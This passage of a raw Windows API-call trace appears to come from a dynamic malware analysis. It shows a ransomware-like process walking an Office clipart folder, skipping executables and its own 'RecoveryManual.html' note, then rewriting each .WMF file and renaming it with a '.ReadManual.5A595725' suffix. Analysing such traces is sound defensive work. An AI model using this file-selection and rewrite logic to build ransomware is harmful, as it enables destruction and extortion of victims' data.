Office\\CLIPART\\PUB60COR\\J0152722.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.ReadManual.5A595725" [0267.207] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.ReadManual.5A595725") returned 87 [0267.207] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38787609750) returned 1 [0267.207] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf")) returned 0x20 [0267.208] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.208] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7020) returned 1 [0267.208] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b6c, lpName=0x0) returned 0x184 [0267.208] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.210] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.210] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.211] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.211] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b6c) returned 0x2f0000 [0267.212] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.212] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38788050972) returned 1 [0267.212] CloseHandle (hObject=0x184) returned 1 [0267.212] SetSecurityInfo () returned 0x57 [0267.212] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.212] CloseHandle (hObject=0x194) returned 1 [0267.212] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0267.212] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152876.WMF" | out: lpString1="J0152876.WMF") returned="J0152876.WMF" [0267.212] lstrcmpiW (lpString1="J0152876.WMF", lpString2="RecoveryManual.html") returned -1 [0267.212] StrStrIW (lpFirst="J0152876.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.212] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.212] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.213] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.213] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.213] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.213] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.213] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.213] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" [0267.213] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.ReadManual.5A595725" [0267.213] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.ReadManual.5A595725") returned 87 [0267.213] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38788158544) returned 1 [0267.213] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0267.214] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.214] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7876) returned 1 [0267.214] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ec4, lpName=0x0) returned 0x184 [0267.214] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.215] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.215] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.216] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.217] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ec4) returned 0x2f0000 [0267.217] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.217] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38788582909) returned 1 [0267.217] CloseHandle (hObject=0x184) returned 1 [0267.217] SetSecurityInfo () returned 0x57 [0267.217] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.217] CloseHandle (hObject=0x194) returned 1 [0267.217] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0267.218] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152878.WMF" | out: lpString1="J0152878.WMF") returned="J0152878.WMF" [0267.218] lstrcmpiW (lpString1="J0152878.WMF", lpString2="RecoveryManual.html") returned -1 [0267.218] StrStrIW (lpFirst="J0152878.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.218] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.218] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.219] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.219] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.219] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.219] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" [0267.219] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.ReadManual.5A595725" [0267.219] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.ReadManual.5A595725") returned 87 [0267.219] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38788775275) returned 1 [0267.219] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0267.219] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.220] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14888) returned 1 [0267.220] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a28, lpName=0x0) returned 0x184 [0267.220] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.220] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.220] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.222] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.222] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a28) returned 0x2f0000 [0267.222] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.223] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38789132792) returned 1 [0267.223] CloseHandle (hObject=0x184) returned 1 [0267.223] SetSecurityInfo () returned 0x57 [0267.223] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.223] CloseHandle (hObject=0x194) returned 1 [0267.223] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0267.223] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152882.WMF" | out: lpString1="J0152882.WMF") returned="J0152882.WMF" [0267.223] lstrcmpiW (lpString1="J0152882.WMF", lpString2="RecoveryManual.html") returned -1 [0267.223] StrStrIW (lpFirst="J0152882.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.223] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.223] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.223] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" [0267.223] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.ReadManual.5A595725" [0267.224] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.ReadManual.5A595725") returned 87 [0267.224] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38789233774) returned 1 [0267.224] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0267.224] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.224] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9072) returned 1 [0267.224] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2370, lpName=0x0) returned 0x184 [0267.224] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.225] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.225] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.226] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.227] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2370) returned 0x2f0000 [0267.227] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38789571300) returned 1 [0267.227] CloseHandle (hObject=0x184) returned 1 [0267.227] SetSecurityInfo () returned 0x57 [0267.227] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.227] CloseHandle (hObject=0x194) returned 1 [0267.227] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0267.227] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152884.WMF" | out: lpString1="J0152884.WMF") returned="J0152884.WMF" [0267.227] lstrcmpiW (lpString1="J0152884.WMF", lpString2="RecoveryManual.html") returned -1 [0267.227] StrStrIW (lpFirst="J0152884.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.227] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.227] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.227] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.228] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.228] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" [0267.228] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.ReadManual.5A595725" [0267.228] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.ReadManual.5A595725") returned 87 [0267.228] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38789675426) returned 1 [0267.228] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0267.228] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.229] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6956) returned 1 [0267.229] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b2c, lpName=0x0) returned 0x184 [0267.229] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.229] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.229] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.231] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.231] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b2c) returned 0x2f0000 [0267.231] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.231] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38790019839) returned 1 [0267.231] CloseHandle (hObject=0x184) returned 1 [0267.232] SetSecurityInfo () returned 0x57 [0267.232] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.232] CloseHandle (hObject=0x194) returned 1 [0267.232] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0267.232] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0152890.WMF" | out: lpString1="J0152890.WMF") returned="J0152890.WMF" [0267.232] lstrcmpiW (lpString1="J0152890.WMF", lpString2="RecoveryManual.html") returned -1 [0267.232] StrStrIW (lpFirst="J0152890.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.232] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.232] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.232] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" [0267.232] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.ReadManual.5A595725" [0267.232] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.ReadManual.5A595725") returned 87 [0267.232] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38790116989) returned 1 [0267.232] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0267.233] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.234] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1940) returned 1 [0267.234] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x794, lpName=0x0) returned 0x184 [0267.234] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.234] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, 